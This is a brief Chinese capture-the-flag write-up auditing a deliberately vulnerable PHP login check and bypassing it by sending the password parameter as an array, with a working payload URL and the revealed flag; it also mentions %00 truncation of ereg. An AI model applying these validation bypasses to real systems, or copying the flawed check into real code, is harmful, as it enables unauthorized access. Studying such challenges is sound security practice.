代码审计-数组返回NULL绕过

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

ereg可以用%00来进行截断

strpos用数组进行截断，返回null

payload

http://123.206.87.240:9009/19.php?password[]=1

PHP是弱语言，对数组比较敏感

Flag: flag{ctf-bugku-ad-2131212}